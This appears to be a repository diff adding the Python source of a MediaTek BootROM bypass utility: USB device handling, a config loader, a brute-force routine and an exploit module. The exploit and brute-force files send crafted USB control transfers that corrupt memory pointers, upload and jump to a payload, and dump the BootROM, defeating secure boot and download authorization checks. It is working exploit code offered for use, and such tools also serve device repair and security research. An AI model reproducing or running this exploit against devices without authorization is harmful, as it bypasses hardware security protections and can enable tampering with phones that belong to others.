+
|
231 |
+
device = Device().find()
|
232 |
+
|
233 |
+
return device
|
234 |
+
|
235 |
+
|
236 |
+
if __name__ == "__main__":
|
237 |
+
main()
|
src/bruteforce.py
ADDED
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from src.common import to_bytes, from_bytes
|
2 |
+
|
3 |
+
import usb
|
4 |
+
import array
|
5 |
+
import struct
|
6 |
+
|
7 |
+
def bruteforce(device, config, dump_ptr, dump=False):
|
8 |
+
|
9 |
+
addr = config.watchdog_address + 0x50
|
10 |
+
|
11 |
+
# We don't need to wait long, if we succeeded
|
12 |
+
# noinspection PyBroadException
|
13 |
+
try:
|
14 |
+
device.dev.timeout = 1
|
15 |
+
except Exception:
|
16 |
+
pass
|
17 |
+
|
18 |
+
udev = device.udev
|
19 |
+
|
20 |
+
try:
|
21 |
+
# noinspection PyProtectedMember
|
22 |
+
udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
|
23 |
+
except AttributeError as e:
|
24 |
+
raise RuntimeError("libusb is not installed for port {}".format(device.dev.port)) from e
|
25 |
+
|
26 |
+
linecode = udev.ctrl_transfer(0xA1, 0x21, 0, 0, 7) + array.array('B', [0])
|
27 |
+
|
28 |
+
if dump:
|
29 |
+
try:
|
30 |
+
device.cmd_da(0, 0, 1)
|
31 |
+
device.read32(addr)
|
32 |
+
except:
|
33 |
+
pass
|
34 |
+
|
35 |
+
for i in range(4):
|
36 |
+
udev.ctrl_transfer(0x21, 0x20, 0, 0, linecode + array.array('B', to_bytes(dump_ptr - 6 + (4 - i), 4, '<')))
|
37 |
+
udev.ctrl_transfer(0x80, 0x6, 0x0200, 0, 9)
|
38 |
+
|
39 |
+
brom = bytearray(device.cmd_da(0, 0, 0x20000))
|
40 |
+
brom[dump_ptr - 1:] = b"\x00" + to_bytes(0x100030, 4, '<') + brom[dump_ptr + 4:]
|
41 |
+
return brom
|
42 |
+
|
43 |
+
else:
|
44 |
+
try:
|
45 |
+
device.cmd_da(0, 0, 1)
|
46 |
+
device.read32(addr)
|
47 |
+
except:
|
48 |
+
pass
|
49 |
+
|
50 |
+
for address in range(dump_ptr, 0xffff, 4):
|
51 |
+
for i in range(3):
|
52 |
+
udev.ctrl_transfer(0x21, 0x20, 0, 0, linecode + array.array('B', to_bytes(address - 5 + (3 - i), 4, '<')))
|
53 |
+
udev.ctrl_transfer(0x80, 0x6, 0x0200, 0, 9)
|
54 |
+
try:
|
55 |
+
if(len(device.cmd_da(0, 0, 0x40))) == 0x40:
|
56 |
+
return (True, address)
|
57 |
+
except RuntimeError:
|
58 |
+
try:
|
59 |
+
device.read32(addr)
|
60 |
+
except:
|
61 |
+
return (False, address + 4)
|
62 |
+
except Exception:
|
63 |
+
return (False, address + 4)
|
src/common.py
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import struct
|
2 |
+
|
3 |
+
|
4 |
+
def raise_(ex):
|
5 |
+
raise ex
|
6 |
+
|
7 |
+
|
8 |
+
def to_bytes(value, size=1, endian='>'):
|
9 |
+
return {
|
10 |
+
1: lambda: struct.pack(endian + 'B', value),
|
11 |
+
2: lambda: struct.pack(endian + 'H', value),
|
12 |
+
4: lambda: struct.pack(endian + 'I', value)
|
13 |
+
}.get(size, lambda: raise_(RuntimeError("invalid size")))()
|
14 |
+
|
15 |
+
|
16 |
+
def from_bytes(value, size=1, endian='>'):
|
17 |
+
return {
|
18 |
+
1: lambda: struct.unpack(endian + 'B', value)[0],
|
19 |
+
2: lambda: struct.unpack(endian + 'H', value)[0],
|
20 |
+
4: lambda: struct.unpack(endian + 'I', value)[0]
|
21 |
+
}.get(size, lambda: raise_(RuntimeError("invalid size")))()
|
src/config.py
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import json5
|
2 |
+
|
3 |
+
|
4 |
+
class Config:
|
5 |
+
watchdog_address: int = 0x10007000
|
6 |
+
uart_base: int = 0x11002000
|
7 |
+
payload_address: int = 0x100A00
|
8 |
+
var_0: int = None
|
9 |
+
var_1: int = 0xA
|
10 |
+
payload: str
|
11 |
+
crash_method: int = 0
|
12 |
+
ptr_usbdl: int = None
|
13 |
+
ptr_da: int = None
|
14 |
+
|
15 |
+
def default(self, hw_code):
|
16 |
+
config = open("default_config.json5")
|
17 |
+
self.from_file(config, hw_code)
|
18 |
+
config.close()
|
19 |
+
|
20 |
+
return self
|
21 |
+
|
22 |
+
def from_file(self, config, hw_code):
|
23 |
+
hw_code = hex(hw_code)
|
24 |
+
|
25 |
+
config = json5.load(config)
|
26 |
+
|
27 |
+
if hw_code in config:
|
28 |
+
self.from_dict(config[hw_code])
|
29 |
+
else:
|
30 |
+
raise NotImplementedError("Can't find {} hw_code in config".format(hw_code))
|
31 |
+
|
32 |
+
return self
|
33 |
+
|
34 |
+
def from_dict(self, entry):
|
35 |
+
if "watchdog_address" in entry:
|
36 |
+
self.watchdog_address = entry["watchdog_address"]
|
37 |
+
|
38 |
+
if "uart_base" in entry:
|
39 |
+
self.uart_base = entry["uart_base"]
|
40 |
+
|
41 |
+
if "payload_address" in entry:
|
42 |
+
self.payload_address = entry["payload_address"]
|
43 |
+
|
44 |
+
if "var_0" in entry:
|
45 |
+
self.var_0 = entry["var_0"]
|
46 |
+
|
47 |
+
if "var_1" in entry:
|
48 |
+
self.var_1 = entry["var_1"]
|
49 |
+
|
50 |
+
if "crash_method" in entry:
|
51 |
+
self.crash_method = entry["crash_method"]
|
52 |
+
|
53 |
+
if "ptr_usbdl" in entry:
|
54 |
+
self.ptr_usbdl = entry["ptr_usbdl"]
|
55 |
+
|
56 |
+
if "ptr_da" in entry:
|
57 |
+
self.ptr_da = entry["ptr_da"]
|
58 |
+
|
59 |
+
self.payload = entry["payload"]
|
60 |
+
|
61 |
+
return self
|
src/device.py
ADDED
@@ -0,0 +1,343 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from src.common import to_bytes, from_bytes
|
2 |
+
from src.logger import log
|
3 |
+
import usb
|
4 |
+
import usb.backend.libusb1
|
5 |
+
import usb.backend.libusb0
|
6 |
+
from ctypes import c_void_p, c_int
|
7 |
+
import array
|
8 |
+
import os
|
9 |
+
|
10 |
+
import time
|
11 |
+
|
12 |
+
BAUD = 115200
|
13 |
+
TIMEOUT = 1
|
14 |
+
VID = "0E8D"
|
15 |
+
PID = "0003"
|
16 |
+
|
17 |
+
|
18 |
+
class Device:
|
19 |
+
def __init__(self, port=None):
|
20 |
+
self.udev = None
|
21 |
+
self.dev = None
|
22 |
+
self.rxbuffer = array.array('B')
|
23 |
+
self.preloader = False
|
24 |
+
self.timeout = TIMEOUT
|
25 |
+
self.usbdk = False
|
26 |
+
self.libusb0 = False
|
27 |
+
|
28 |
+
if os.name == 'nt':
|
29 |
+
try:
|
30 |
+
file_dir = os.path.join(os.path.abspath(os.path.dirname(__file__)), "..")
|
31 |
+
try:
|
32 |
+
os.add_dll_directory(file_dir)
|
33 |
+
except Exception:
|
34 |
+
pass
|
35 |
+
os.environ['PATH'] = file_dir + ';' + os.environ['PATH']
|
36 |
+
except Exception:
|
37 |
+
pass
|
38 |
+
|
39 |
+
def find(self, wait=False):
|
40 |
+
if self.dev:
|
41 |
+
raise RuntimeError("Device already found")
|
42 |
+
|
43 |
+
try:
|
44 |
+
self.backend = usb.backend.libusb1.get_backend(find_library=lambda x: "libusb-1.0.dll")
|
45 |
+
if self.backend:
|
46 |
+
try:
|
47 |
+
self.backend.lib.libusb_set_option.argtypes = [c_void_p, c_int]
|
48 |
+
self.backend.lib.libusb_set_option(self.backend.ctx, 1) # <--- this is the magic call to enable usbdk mode
|
49 |
+
self.usbdk = True
|
50 |
+
except ValueError:
|
51 |
+
log("Failed enabling UsbDk mode, please use 64-Bit Python and 64-Bit UsbDk")
|
52 |
+
else:
|
53 |
+
self.backend = usb.backend.libusb1.get_backend()
|
54 |
+
except usb.core.USBError:
|
55 |
+
self.backend = usb.backend.libusb1.get_backend()
|
56 |
+
|
57 |
+
log("Waiting for device")
|
58 |
+
if wait:
|
59 |
+
self.udev = usb.core.find(idVendor=int(VID, 16), backend=self.backend)
|
60 |
+
while self.udev:
|
61 |
+
time.sleep(0.25)
|
62 |
+
self.udev = usb.core.find(idVendor=int(VID, 16), backend=self.backend)
|
63 |
+
self.udev = None
|
64 |
+
while not self.udev:
|
65 |
+
self.udev = usb.core.find(idVendor=int(VID, 16), backend=self.backend)
|
66 |
+
if self.udev:
|
67 |
+
break
|
68 |
+
time.sleep(0.25)
|
69 |
+
|
70 |
+
log("Found device = {0:04x}:{1:04x}".format(self.udev.idVendor, self.udev.idProduct))
|
71 |
+
self.dev = self
|
72 |
+
|
73 |
+
try:
|
74 |
+
if self.udev.is_kernel_driver_active(0):
|
75 |
+
self.udev.detach_kernel_driver(0)
|
76 |
+
|
77 |
+
if self.udev.is_kernel_driver_active(1):
|
78 |
+
self.udev.detach_kernel_driver(1)
|
79 |
+
|
80 |
+
except (NotImplementedError, usb.core.USBError):
|
81 |
+
pass
|
82 |
+
|
83 |
+
try:
|
84 |
+
self.configuration = self.udev.get_active_configuration()
|
85 |
+
except (usb.core.USBError, NotImplementedError) as e:
|
86 |
+
if type(e) is usb.core.USBError and e.errno == 13 or type(e) is NotImplementedError:
|
87 |
+
log("Failed to enable libusb1, is UsbDk installed?")
|
88 |
+
log("Falling back to libusb0 (kamakiri only)")
|
89 |
+
self.backend = usb.backend.libusb0.get_backend()
|
90 |
+
self.udev = usb.core.find(idVendor=int(VID, 16), backend=self.backend)
|
91 |
+
self.libusb0 = True
|
92 |
+
try:
|
93 |
+
self.udev.set_configuration()
|
94 |
+
except AttributeError:
|
95 |
+
log("Failed to enable libusb0")
|
96 |
+
exit(1)
|
97 |
+
|
98 |
+
if self.udev.idProduct != int(PID, 16):
|
99 |
+
self.preloader = True
|
100 |
+
else:
|
101 |
+
try:
|
102 |
+
self.udev.set_configuration(1)
|
103 |
+
usb.util.claim_interface(self.udev, 0)
|
104 |
+
usb.util.claim_interface(self.udev, 1)
|
105 |
+
except usb.core.USBError:
|
106 |
+
pass
|
107 |
+
|
108 |
+
cdc_if = usb.util.find_descriptor(self.udev.get_active_configuration(), bInterfaceClass=0xA)
|
109 |
+
self.ep_in = usb.util.find_descriptor(cdc_if, custom_match=lambda x: usb.util.endpoint_direction(x.bEndpointAddress) == usb.util.ENDPOINT_IN)
|
110 |
+
self.ep_out = usb.util.find_descriptor(cdc_if, custom_match=lambda x: usb.util.endpoint_direction(x.bEndpointAddress) == usb.util.ENDPOINT_OUT)
|
111 |
+
|
112 |
+
try:
|
113 |
+
self.udev.ctrl_transfer(0x21, 0x20, 0, 0, array.array('B', to_bytes(BAUD, 4 , '<') + b"\x00\x00\x08"))
|
114 |
+
except usb.core.USBError:
|
115 |
+
pass
|
116 |
+
|
117 |
+
return self
|
118 |
+
|
119 |
+
@staticmethod
|
120 |
+
def check(test, gold):
|
121 |
+
if test != gold:
|
122 |
+
if type(test) == bytes:
|
123 |
+
test = "0x" + test.hex()
|
124 |
+
else:
|
125 |
+
test = hex(test)
|
126 |
+
|
127 |
+
if type(gold) == bytes:
|
128 |
+
gold = "0x" + gold.hex()
|
129 |
+
else:
|
130 |
+
gold = hex(gold)
|
131 |
+
|
132 |
+
raise RuntimeError("Unexpected output, expected {} got {}".format(gold, test))
|
133 |
+
|
134 |
+
def close(self):
|
135 |
+
self.dev = None
|
136 |
+
self.rxbuffer = array.array('B')
|
137 |
+
try:
|
138 |
+
usb.util.release_interface(self.udev, 0)
|
139 |
+
usb.util.release_interface(self.udev, 1)
|
140 |
+
except Exception:
|
141 |
+
pass
|
142 |
+
if not self.usbdk:
|
143 |
+
try:
|
144 |
+
self.udev.reset()
|
145 |
+
except Exception:
|
146 |
+
pass
|
147 |
+
try:
|
148 |
+
self.udev.attach_kernel_driver(0)
|
149 |
+
except Exception:
|
150 |
+
pass
|
151 |
+
try:
|
152 |
+
self.udev.attach_kernel_driver(1)
|
153 |
+
except Exception:
|
154 |
+
pass
|
155 |
+
if not self.usbdk:
|
156 |
+
try:
|
157 |
+
usb.util.dispose_resources(self.udev)
|
158 |
+
except Exception:
|
159 |
+
pass
|
160 |
+
self.udev = None
|
161 |
+
time.sleep(1)
|
162 |
+
|
163 |
+
def handshake(self):
|
164 |
+
sequence = b"\xA0\x0A\x50\x05"
|
165 |
+
i = 0
|
166 |
+
while i < len(sequence):
|
167 |
+
self.write(sequence[i])
|
168 |
+
reply = self.read(1)
|
169 |
+
if reply and reply[0] == ~sequence[i] & 0xFF:
|
170 |
+
i += 1
|
171 |
+
else:
|
172 |
+
i = 0
|
173 |
+
|
174 |
+
def echo(self, words, size=1):
|
175 |
+
self.write(words, size)
|
176 |
+
self.check(from_bytes(self.read(size), size), words)
|
177 |
+
|
178 |
+
def read(self, size=1):
|
179 |
+
offset = 0
|
180 |
+
data = b""
|
181 |
+
while len(self.rxbuffer) < size:
|
182 |
+
try:
|
183 |
+
self.rxbuffer.extend(self.ep_in.read(self.ep_in.wMaxPacketSize, self.timeout * 1000))
|
184 |
+
except usb.core.USBError as e:
|
185 |
+
if e.errno == 110:
|
186 |
+
self.udev.reset()
|
187 |
+
break
|
188 |
+
if size <= len(self.rxbuffer):
|
189 |
+
result = self.rxbuffer[:size]
|
190 |
+
self.rxbuffer = self.rxbuffer[size:]
|
191 |
+
else:
|
192 |
+
result = self.rxbuffer
|
193 |
+
self.rxbuffer = array.array('B')
|
194 |
+
return bytes(result)
|
195 |
+
|
196 |
+
def read32(self, addr, size=1):
|
197 |
+
result = []
|
198 |
+
|
199 |
+
self.echo(0xD1)
|
200 |
+
self.echo(addr, 4)
|
201 |
+
self.echo(size, 4)
|
202 |
+
|
203 |
+
status = self.dev.read(2)
|
204 |
+
if from_bytes(status, 2) > 0xff:
|
205 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
206 |
+
|
207 |
+
for _ in range(size):
|
208 |
+
data = from_bytes(self.dev.read(4), 4)
|
209 |
+
result.append(data)
|
210 |
+
|
211 |
+
status = self.dev.read(2)
|
212 |
+
if from_bytes(status, 2) > 0xff:
|
213 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
214 |
+
|
215 |
+
# support scalar
|
216 |
+
if len(result) == 1:
|
217 |
+
return result[0]
|
218 |
+
else:
|
219 |
+
return result
|
220 |
+
|
221 |
+
def write(self, data, size=1):
|
222 |
+
if type(data) != bytes:
|
223 |
+
data = to_bytes(data, size)
|
224 |
+
offset = 0
|
225 |
+
while offset < len(data):
|
226 |
+
self.ep_out.write(data[offset:][:self.ep_out.wMaxPacketSize if len(data) - offset > self.ep_out.wMaxPacketSize else len(data) - offset], self.timeout * 1000)
|
227 |
+
offset += self.ep_out.wMaxPacketSize
|
228 |
+
|
229 |
+
def write32(self, addr, words, check_status=True):
|
230 |
+
# support scalar
|
231 |
+
if not isinstance(words, list):
|
232 |
+
words = [words]
|
233 |
+
|
234 |
+
self.echo(0xD4)
|
235 |
+
self.echo(addr, 4)
|
236 |
+
self.echo(len(words), 4)
|
237 |
+
|
238 |
+
self.check(self.dev.read(2), to_bytes(1, 2)) # arg check
|
239 |
+
|
240 |
+
for word in words:
|
241 |
+
self.echo(word, 4)
|
242 |
+
|
243 |
+
if check_status:
|
244 |
+
self.check(self.dev.read(2), to_bytes(1, 2)) # status
|
245 |
+
|
246 |
+
def get_target_config(self):
|
247 |
+
self.echo(0xD8)
|
248 |
+
|
249 |
+
target_config = self.dev.read(4)
|
250 |
+
status = self.dev.read(2)
|
251 |
+
|
252 |
+
if from_bytes(status, 2) != 0:
|
253 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
254 |
+
|
255 |
+
target_config = from_bytes(target_config, 4)
|
256 |
+
|
257 |
+
secure_boot = target_config & 1
|
258 |
+
serial_link_authorization = target_config & 2
|
259 |
+
download_agent_authorization = target_config & 4
|
260 |
+
|
261 |
+
# noinspection PyCallByClass
|
262 |
+
return bool(secure_boot), bool(serial_link_authorization), bool(download_agent_authorization)
|
263 |
+
|
264 |
+
def get_hw_code(self):
|
265 |
+
self.echo(0xFD)
|
266 |
+
|
267 |
+
hw_code = self.dev.read(2)
|
268 |
+
status = self.dev.read(2)
|
269 |
+
|
270 |
+
if from_bytes(status, 2) != 0:
|
271 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
272 |
+
|
273 |
+
return from_bytes(hw_code, 2)
|
274 |
+
|
275 |
+
def get_hw_dict(self):
|
276 |
+
self.echo(0xFC)
|
277 |
+
|
278 |
+
hw_sub_code = self.dev.read(2)
|
279 |
+
hw_ver = self.dev.read(2)
|
280 |
+
sw_ver = self.dev.read(2)
|
281 |
+
status = self.dev.read(2)
|
282 |
+
|
283 |
+
if from_bytes(status, 2) != 0:
|
284 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
285 |
+
|
286 |
+
return from_bytes(hw_sub_code, 2), from_bytes(hw_ver, 2), from_bytes(sw_ver, 2)
|
287 |
+
|
288 |
+
def send_da(self, da_address, da_len, sig_len, da):
|
289 |
+
self.echo(0xD7)
|
290 |
+
|
291 |
+
self.echo(da_address, 4)
|
292 |
+
self.echo(da_len, 4)
|
293 |
+
self.echo(sig_len, 4)
|
294 |
+
|
295 |
+
status = self.dev.read(2)
|
296 |
+
|
297 |
+
if from_bytes(status, 2) != 0:
|
298 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
299 |
+
|
300 |
+
self.dev.write(da)
|
301 |
+
|
302 |
+
checksum = self.dev.read(2)
|
303 |
+
status = self.dev.read(2)
|
304 |
+
|
305 |
+
if from_bytes(status, 2) != 0:
|
306 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
307 |
+
|
308 |
+
return from_bytes(checksum, 2)
|
309 |
+
|
310 |
+
def jump_da(self, da_address):
|
311 |
+
self.echo(0xD5)
|
312 |
+
|
313 |
+
self.echo(da_address, 4)
|
314 |
+
|
315 |
+
status = self.dev.read(2)
|
316 |
+
|
317 |
+
if from_bytes(status, 2) != 0:
|
318 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
319 |
+
|
320 |
+
def cmd_da(self, direction, offset, length, data=None, check_status = True):
|
321 |
+
self.echo(0xDA)
|
322 |
+
|
323 |
+
self.echo(direction, 4)
|
324 |
+
self.echo(offset, 4)
|
325 |
+
self.echo(length, 4)
|
326 |
+
|
327 |
+
status = self.dev.read(2)
|
328 |
+
|
329 |
+
if from_bytes(status, 2) != 0:
|
330 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
331 |
+
|
332 |
+
if (direction & 1) == 1:
|
333 |
+
self.dev.write(data)
|
334 |
+
else:
|
335 |
+
data = self.dev.read(length)
|
336 |
+
|
337 |
+
if check_status:
|
338 |
+
status = self.dev.read(2)
|
339 |
+
|
340 |
+
if from_bytes(status, 2) != 0:
|
341 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
342 |
+
|
343 |
+
return data
|
src/exploit.py
ADDED
@@ -0,0 +1,97 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from src.common import to_bytes, from_bytes
|
2 |
+
from src.logger import log
|
3 |
+
|
4 |
+
import usb
|
5 |
+
import array
|
6 |
+
|
7 |
+
|
8 |
+
def exploit(device, config, payload, arguments):
|
9 |
+
|
10 |
+
def da_read(address, length, check_result = True):
|
11 |
+
return da_read_write(0, address, length, None, check_result)
|
12 |
+
|
13 |
+
def da_write(address, length, data, check_result = True):
|
14 |
+
return da_read_write(1, address, length, data, check_result)
|
15 |
+
|
16 |
+
def da_read_write(direction, address, length, data = None, check_result = True):
|
17 |
+
try:
|
18 |
+
device.cmd_da(0,0,1)
|
19 |
+
device.read32(addr)
|
20 |
+
except:
|
21 |
+
pass
|
22 |
+
|
23 |
+
for i in range(3):
|
24 |
+
udev.ctrl_transfer(0x21, 0x20, 0, 0, linecode + array.array('B', to_bytes(config.ptr_da + 8 - 3 + i, 4, '<')))
|
25 |
+
udev.ctrl_transfer(0x80, 0x6, 0x0200, 0, 9)
|
26 |
+
|
27 |
+
if address < 0x40:
|
28 |
+
for i in range(4):
|
29 |
+
udev.ctrl_transfer(0x21, 0x20, 0, 0, linecode + array.array('B', to_bytes(config.ptr_da - 6 + (4 - i), 4, '<')))
|
30 |
+
udev.ctrl_transfer(0x80, 0x6, 0x0200, 0, 9)
|
31 |
+
return device.cmd_da(direction, address, length, data, check_result)
|
32 |
+
else:
|
33 |
+
for i in range(3):
|
34 |
+
udev.ctrl_transfer(0x21, 0x20, 0, 0, linecode + array.array('B', to_bytes(config.ptr_da - 5 + (3 - i), 4, '<')))
|
35 |
+
udev.ctrl_transfer(0x80, 0x6, 0x0200, 0, 9)
|
36 |
+
return device.cmd_da(direction, address - 0x40, length, data, check_result)
|
37 |
+
|
38 |
+
|
39 |
+
addr = config.watchdog_address + 0x50
|
40 |
+
|
41 |
+
if not config.ptr_usbdl or arguments.kamakiri:
|
42 |
+
log("Using kamakiri")
|
43 |
+
device.write32(addr, from_bytes(to_bytes(config.payload_address, 4), 4, '<'))
|
44 |
+
if config.var_0:
|
45 |
+
readl = config.var_0 + 0x4
|
46 |
+
device.read32(addr - config.var_0, readl // 4)
|
47 |
+
else:
|
48 |
+
cnt = 15
|
49 |
+
for i in range(cnt):
|
50 |
+
device.read32(addr - (cnt - i) * 4, cnt - i + 1)
|
51 |
+
|
52 |
+
device.echo(0xE0)
|
53 |
+
|
54 |
+
device.echo(len(payload), 4)
|
55 |
+
|
56 |
+
status = device.read(2)
|
57 |
+
if from_bytes(status, 2) != 0:
|
58 |
+
raise RuntimeError("status is {}".format(status.hex()))
|
59 |
+
|
60 |
+
device.write(payload)
|
61 |
+
|
62 |
+
# clear 4 bytes
|
63 |
+
device.read(4)
|
64 |
+
|
65 |
+
udev = device.udev
|
66 |
+
|
67 |
+
try:
|
68 |
+
if not config.ptr_usbdl or arguments.kamakiri:
|
69 |
+
try:
|
70 |
+
# noinspection PyProtectedMember
|
71 |
+
udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
|
72 |
+
except AttributeError as e:
|
73 |
+
raise RuntimeError("libusb is not installed for port {}".format(device.dev.port)) from e
|
74 |
+
udev.ctrl_transfer(0xA1, 0, 0, config.var_1, 0)
|
75 |
+
else:
|
76 |
+
linecode = udev.ctrl_transfer(0xA1, 0x21, 0, 0, 7) + array.array('B', [0])
|
77 |
+
ptr_send = from_bytes(da_read(config.ptr_usbdl, 4), 4, '<') + 8;
|
78 |
+
da_write(config.payload_address, len(payload), payload)
|
79 |
+
da_write(ptr_send, 4, to_bytes(config.payload_address, 4, '<'), False)
|
80 |
+
|
81 |
+
except usb.core.USBError as e:
|
82 |
+
print(e)
|
83 |
+
|
84 |
+
# We don't need to wait long, if we succeeded
|
85 |
+
# noinspection PyBroadException
|
86 |
+
try:
|
87 |
+
device.dev.timeout = 1
|
88 |
+
except Exception:
|
89 |
+
pass
|
90 |
+
|
91 |
+
try:
|
92 |
+
pattern = device.read(4)
|
93 |
+
except usb.core.USBError as e:
|
94 |
+
print(e)
|
95 |
+
return False
|
96 |
+
|
97 |
+
return pattern
|
src/logger.py
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import datetime
|
2 |
+
|
3 |
+
|
4 |
+
def log(string):
|
5 |
+
line = "[{}] {}".format(datetime.datetime.now(), string)
|
6 |
+
print(line)
|
7 |
+
|
8 |
+
with open("bypass_utility.log", "a") as out:
|
9 |
+
out.write(line + "\n")
|